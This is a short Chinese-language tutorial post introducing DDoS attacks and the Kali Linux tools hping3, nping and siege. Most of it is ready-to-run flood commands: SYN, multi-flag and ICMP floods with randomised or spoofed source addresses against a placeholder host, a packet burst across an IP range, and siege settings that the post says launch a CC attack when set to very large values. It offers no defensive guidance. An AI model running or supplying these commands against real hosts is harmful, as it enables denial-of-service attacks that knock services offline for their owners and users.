浅析DDOS攻击

DDoS攻击是互联网上最常见的攻击方式之一，是基于DoS攻击的一种特殊形式，主要瞄准如商业公司、搜索引擎和政府部门等比较大的网点。DDOS攻击通过操纵多台僵尸主机对目标发起攻击，来势十分迅猛，令人难以防备，同时具有较大的破坏性。

在Kali Linux中，DDOS攻击的常用命令有hping3,nping,siege等。

首先，介绍一些hping3。它几乎可以定制发送任何TCP/IP数据包，可用于测试FW、端口扫描、性能测试等。常用的使用方法如下：

hping3 -c 1000 -d 120 -S -w 64 -p 80 –flood –rand-source www.xxx.com
hping3 -S -P -U -p 80 –flood –rand-source www.xxx.com
hping3 -SARFUP -p 80 –flood –rand-source www.xxx.com
hping3 -q -n -a 192.168.1.1 –icmp -d 56 –flood www.xxx.com

之后，介绍一下nping。它允许用户发送多种协议的数据包，比如说TCP、UDP、ICMP和ARP协议。而且nping可以探测多个主机的端口，可以对网络进行压力测试、ARP中毒、DoS攻击。常见的使用方法如下：

nping -c 100000 192.168.56.100-102

最后，介绍一下siege命令。使用siege命令可以发起CC攻击，而CC攻击是DDOS攻击的一种特殊形式。其用法如下：

siege -c 10 -r 12 https://www.xxx.com/

此处，如果将c（目前访问的人数）与r（持续时间）设置为极大的数值，就可以发起CC攻击了。